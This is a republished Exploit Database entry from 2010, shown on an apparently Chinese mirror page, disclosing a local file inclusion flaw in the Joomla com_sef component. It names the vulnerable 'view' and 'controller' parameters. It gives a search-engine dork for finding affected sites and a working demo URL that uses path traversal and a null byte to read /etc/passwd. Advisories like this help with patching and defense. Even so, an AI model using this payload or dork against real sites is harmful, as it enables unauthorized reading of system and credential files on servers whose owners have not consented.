Joomla! Component com_sef – Local File Inclusion

• Exploit Database
• 124 阅读

• 作者： _mlk_
  日期： 2010-07-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14213/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81

  # Exploit Title: Joomla Component SEF (com_sef) - LFI Vulnerability # Date: 04, July 2010   # Author:_mlk_ # Software Link: http://bugsec.googlecode.com/files/Joomla_com_sef.zip # Version: 0   # Tested on: all OS   # CVE : 0   # Code : here   Joomla Component SEF (com_sef) - Local File Inclusion Vulnerability   #########################################################################################     [+] Discovered by : _mlk_ (Renan)   [+] Teams : c00kies , BugSec , BotecoUnix & c0d3rs   [+] Homepages :http://code.google.com/p/bugsec/ http://botecounix.com.br/blog/ http://c0d3rs.wordpress.com/   [+] Location : Porto Alegre - RS, Brasil (or Brazil)   #########################################################################################     [-] Information   [?] Script : SEF (Search Engine Friendly)   [?] Home Script : http://www.joomla.com/   [?] Dork/String :"index.php?option=com_sef" / "com_sef"   [?] Date :04, July 2010     -----------------------------------------------------------------------------------------     [*] Parameters vuls :   view controller     -----------------------------------------------------------------------------------------     [*] Example :   http://localhost/index.php?option=com_sef&controller=[LFI]%00 http://localhost/[PATH]/index.php?option=com_sef&controller=[LFI]%00     -----------------------------------------------------------------------------------------     [*] Demo :   http://<server>/index.php?option=com_sef&controller= ../../../../../../../../../../../../../../../etc/passwd%00     #########################################################################################     [~] Agradecimentos :   Deus , Familiares , Amigos e Tricolor Gaúcho (Grémio) . Em especial "m0nad" ( capitao caverna \o/ ) .     #########################################################################################